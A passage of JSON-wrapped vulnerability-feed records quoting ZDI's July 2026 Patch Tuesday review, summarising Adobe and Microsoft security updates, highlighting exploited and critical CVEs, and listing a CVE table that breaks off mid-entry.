Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:05:01.082187Z"}, {"uuid": "521a04ae-b442-4161-aba6-b3ff4cefb0bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54128", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  